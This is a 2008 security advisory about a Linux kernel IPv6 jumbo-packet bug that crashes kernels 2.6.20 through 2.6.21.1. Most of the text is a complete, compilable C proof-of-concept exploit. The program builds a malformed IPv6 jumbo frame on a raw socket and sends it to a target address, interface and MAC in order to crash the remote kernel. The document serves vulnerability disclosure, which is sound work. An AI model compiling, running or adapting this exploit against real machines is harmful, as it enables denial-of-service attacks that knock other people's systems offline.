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Linux Kernel IPv6 Jumbo Bug
------------------------------------------------------------------------
SUMMARY
When the Linux kernel receives a malformed IPv6 jumbo packet - it will
drop the packet and try to write some statistics. In the affected kernel
versions it is not assured that the structure which provides the
information is correctly initialized - resulting in a kernel crash.
DETAILS
Vulnerable Systems:
* Linux kernels version 2.6.20 up to and including 2.6.21.1
Exploit:
/*
* Clemens Kurtenbach <ckurtenbach at s21sec . com>
* PoC code for exploiting the jumbo bug found in
* linux kernels >=2.6.20 and <=2.6.21.1
* gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash -
http://www.milw0rm.com/exploits/4893
*
*/
/* io */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* network */
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netdb.h>
#include <linux/if.h>
#define MY_FRAME_LEN 1145
char *resolve6(unsigned char *target) {
char *ret_addr;
struct in6_addr my_in6;
char *glob_addr = (char *) &my_in6;
struct addrinfo addr_hints, *addr_result;
unsigned char out[64];
memset(&addr_hints, 0, sizeof(addr_hints));
addr_hints.ai_family = AF_INET6;
if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
printf("getaddrinfo() error\n");
exit(1);
}
if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, out,
sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
printf("getnameinfo() error\n");
exit(1);
}
if(inet_pton(AF_INET6, out, glob_addr) < 0) {
printf("inet_pton() error\n");
exit(1);
}
if((ret_addr = malloc(16)) == NULL) {
printf("malloc() error\n");
exit(1);
}
memcpy(ret_addr, my_in6.s6_addr, 16);
return ret_addr;
}
int main(int argc, char *argv[]) {
if (argc < 4) {
printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> <00:11:22:33:44:55>
<eth0>\n");
exit(1);
}
/* handle IPv6 destination */
unsigned char *dest_ip = resolve6(argv[1]);
/* handle MAC */
unsigned char dest_mac[7];
sscanf(argv[2], "%x:%x:%x:%x:%x:%x",
(unsigned int*)&dest_mac[0], (unsigned int*)&dest_mac[1],
(unsigned int*)&dest_mac[2], (unsigned int*)&dest_mac[3],
(unsigned int*)&dest_mac[4], (unsigned int*)&dest_mac[5]);
/* handle interface */
unsigned char *iface;
iface = argv[3];
/* buffer for ethernet frame */
void *buffer = (void*)malloc(MY_FRAME_LEN);
/* pointer to ethenet header */
unsigned char *etherhead = buffer;
struct ethhdr *eh = (struct ethhdr *)etherhead;
/* our MAC address */
unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 };
unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};
/* prepare socket */
int s;
s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
printf("cannot create socket: [%d]\n",s);
exit(1);
}
/* RAW communication */
struct sockaddr_ll socket_address;
socket_address.sll_family = PF_PACKET;
socket_address.sll_protocol = htons(ETH_P_IP);
socket_address.sll_ifindex = if_nametoindex(iface);
socket_address.sll_hatype = ARPHRD_ETHER;
socket_address.sll_pkttype = PACKET_OTHERHOST;
socket_address.sll_halen = ETH_ALEN;
/* set the frame header */
memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
eh->h_proto = 0xdd86; // IPv6
/* the buffer we want to send */
unsigned char bad_buffer[] = {
0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00,
0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,
0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };
memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);
/* overwrite our src and dst ip */
memcpy((void*)(buffer+22), (void*)src_ip, 16);
memcpy((void*)(buffer+38), dest_ip, 16);
/* send the buffer */
int send_result = 0;
send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct
sockaddr*)&socket_address, sizeof(socket_address));
if (send_result == -1) {
printf("could not send frame: [%d]\n", send_result);
exit(1);
}
else printf("frame send to ip [%s] with mac [%s] on iface
[%s]\n",argv[1],argv[2],argv[3]);
return 0;
}
// milw0rm.com [2008-01-11]
ADDITIONAL INFORMATION
The information has been provided by <mailto:ckurtenbach@s21sec.com>
Clemens Kurtenbach.
The original article can be found at:
<http://blog.s21sec.com/2008/01/ipv6-bug-in-linux-kernel.html>
http://blog.s21sec.com/2008/01/ipv6-bug-in-linux-kernel.html
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